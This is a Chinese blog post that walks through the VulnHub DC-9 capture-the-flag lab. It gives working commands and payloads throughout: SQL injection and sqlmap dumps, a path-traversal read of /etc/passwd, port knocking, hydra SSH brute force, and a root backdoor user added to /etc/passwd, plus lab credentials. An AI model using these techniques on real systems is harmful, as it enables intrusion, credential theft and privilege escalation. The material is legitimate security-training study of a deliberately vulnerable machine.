DC-9 靶场通关小记

PS

地址 https://www.vulnhub.com/entry/dc-9,412/

主机发现

./fscan -h 192.168.74.0/24 -nobr -nopoc

image.png

nmap -A -T 4 -p 1-65535 192.168.74.131

image.png

22端口被过滤

信息收集

python dirsearch.py -u http://192.168.74.131/

image.png

漏洞利用

SQL注入

POST /results.php HTTP/1.1
Host: 192.168.74.131
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Content-Length: 8

search=1

search为注入点,查询当前数据库

search=1' union select 1,1,1,1,1,database() --+

sqlmap爆库如下

python sqlmap.py -r req.txt -D Staff -T Users --dump

image.png

网站查询MD5 https://www.somd5.com/

image.png

得到账号密码

admin/transorbital1

顺手试一下sqlmap getshell,失败

python sqlmap.py -r req.txt --os-shell

爆一下users数据库的信息

python sqlmap.py -r req.txt -D users -T UserDetails -C username,password --dump
cat /root/.local/share/sqlmap/output/192.168.74.131/dump/users/UserDetails.csv

得到

username,password
marym,3kfs86sfd
julied,468sfdfsd2
fredf,4sfd87sfd1
barneyr,RocksOff
tomc,TC&TheBoyz
jerrym,B8m#48sd
wilmaf,Pebbles
bettyr,BamBam01
chandlerb,UrAG0D!
joeyt,Passw0rd
rachelg,yN72#dsd
rossg,ILoveRachel
monicag,3248dsds7s
phoebeb,smellycats
scoots,YR3BVxxxw87
janitor,Ilovepeepee
janitor2,Hawaii-Five-0

系统后台利用

尝试Add Record 功能,直接向网页注入PHP恶意代码,恶意代码被注释

image.png

/manager.php路径下,网页下面有一个File does not exist 报错

image.png

尝试payload

/manage.php?file=../../../../../etc/passwd

发现任意文件读取漏洞

任意文件读取漏洞

读取 /etc/passwd

/manage.php?file=../../../../etc/passwd
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash

22端口被过滤,可以关注下/etc/knockd.conf

/etc/knockd.conf 是 knockd 服务的配置文件,专门用于管理“端口敲门”规则。端口敲门是一种安全机制,通过特定的端口序列触发某些操作,例如打开一个被防火墙屏蔽的端口。

[options]
	UseSyslog
[openSSH]
	sequence    = 7469,8475,9842
	seq_timeout = 25
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn
[closeSSH]
	sequence    = 9842,8475,7469
	seq_timeout = 25
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

敲门打开ssh

nc 192.168.74.131 7469
nc 192.168.74.131 8475
nc 192.168.74.131 9842

等一会就可以连接SSH了,使用之前SQL注入导出的UserDetails.csv(将逗号改为冒号)

hydra 192.168.74.131 ssh -C UserDetails.csv

image.png

得到账号密码

login: chandlerb   password: UrAG0D!
login: janitor   password: Ilovepeepee
login: joeyt   password: Passw0rd

提权

水平提权

依次登录后,使用ls -la查看家目录,发现janitor用户下有隐藏目录,读取隐藏的文件

janitor@dc-9:~$ cat .secrets-for-putin/passwords-found-on-post-it-notes.txt 
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

使用hydra再次爆破,users使用之前的用户列表,pass.txt使用刚读取的文件

hydra -L users.txt -P pass.txt 192.168.74.131 ssh

image.png

得到新的账号密码如下

[22][ssh] host: 192.168.74.131   login: fredf   password: B4-Tru3-001

获取root权限

登录后,查看家目录-> sudo -l

发现一个可以用root权限无密码执行的文件

image.png

使用sudo尝试执行,弹出以下提示

cd /opt/devstuff/dist/test
ls -la
sudo ./test
Usage: python test.py read append

观察目录结构,python代码打包后,存放打包程序的目录是dist/项目名

python代码应该是存放到/opt/devstuff目录

cd /opt/devstuff
cat test.py

源代码如下

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

代码简述:读取a文件所有的内容追加到b文件末尾

可以利用该二进制程序向/etc/passwd追加一个root权限用户

openssl passwd -1 123456 # 是数字1不是字母l

cd /opt/devstuff/dist/test
vi /tmp/1.txt
hack:$1$BdpYVSHQ$WTowdL1ycca6hx0Dd5nVJ0:0:0:hack:/tmp/hack:/bin/bash
# :%wq
sudo ./test /tmp/1.txt /etc/passwd

这边尝试设置空密码失败了,还是带密码的比较泛用

使用root权限登录

su hack
# 123456

image.png

posted @   lrui1  阅读(7)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示